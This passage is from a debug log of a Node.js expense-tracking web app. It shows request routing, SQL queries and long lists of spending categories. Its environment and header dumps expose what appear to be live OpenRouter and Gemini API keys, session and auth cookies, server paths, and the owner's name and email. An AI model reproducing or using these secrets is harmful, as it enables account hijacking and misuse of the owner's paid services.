  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-05T11:08:43.560Z server-connect:router Serving templateView /
2026-03-05T11:08:43.560Z server-connect:app Executing action step identify
2026-03-05T11:08:43.560Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:43.560Z server-connect:output identity: 1
2026-03-05T11:08:43.560Z server-connect:app Executing action step restrict
2026-03-05T11:08:43.560Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:43.561Z server-connect:output restrict: undefined
2026-03-05T11:08:43.561Z server-connect:app Executing action step restrict
2026-03-05T11:08:43.561Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:43.561Z server-connect:output restrict: undefined
2026-03-05T11:08:43.561Z server-connect:router Render template layouts/main
2026-03-05T11:08:43.562Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.261Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:08:44.465Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-05T11:08:44.465Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-05T11:08:44.465Z server-connect:app Executing action step identify
2026-03-05T11:08:44.466Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:44.466Z server-connect:output identity: 1
2026-03-05T11:08:44.466Z server-connect:app Executing action step restrict
2026-03-05T11:08:44.466Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:44.466Z server-connect:app Executing action step identify
2026-03-05T11:08:44.466Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:44.466Z server-connect:output identity: 1
2026-03-05T11:08:44.466Z server-connect:app Executing action step restrict
2026-03-05T11:08:44.466Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:44.466Z server-connect:output restrict: undefined
2026-03-05T11:08:44.467Z server-connect:app Executing action step select
2026-03-05T11:08:44.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-05T11:08:44.467Z server-connect:output restrict: undefined
2026-03-05T11:08:44.467Z server-connect:app Executing action step single
2026-03-05T11:08:44.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-05T11:08:44.468Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-05T11:08:44.470Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-05T11:08:48.010Z server-connect:router Serving templateView /goal
2026-03-05T11:08:48.010Z server-connect:app Executing action step identify
2026-03-05T11:08:48.010Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:48.010Z server-connect:output identity: 1
2026-03-05T11:08:48.010Z server-connect:app Executing action step restrict
2026-03-05T11:08:48.010Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:48.011Z server-connect:output restrict: undefined
2026-03-05T11:08:48.011Z server-connect:router Render template goal
2026-03-05T11:08:48.011Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.261Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-05T11:08:48.286Z server-connect:router Serving serverConnect /api/goals/list
2026-03-05T11:08:48.286Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-05T11:08:48.287Z server-connect:app Executing action step identify
2026-03-05T11:08:48.287Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:48.287Z server-connect:output identity: 1
2026-03-05T11:08:48.287Z server-connect:app Executing action step restrict
2026-03-05T11:08:48.287Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:48.287Z server-connect:app Executing action step identify
2026-03-05T11:08:48.287Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:48.287Z server-connect:output identity: 1
2026-03-05T11:08:48.287Z server-connect:app Executing action step restrict
2026-03-05T11:08:48.288Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:48.288Z server-connect:output restrict: undefined
2026-03-05T11:08:48.289Z server-connect:app Executing action step custom
2026-03-05T11:08:48.289Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
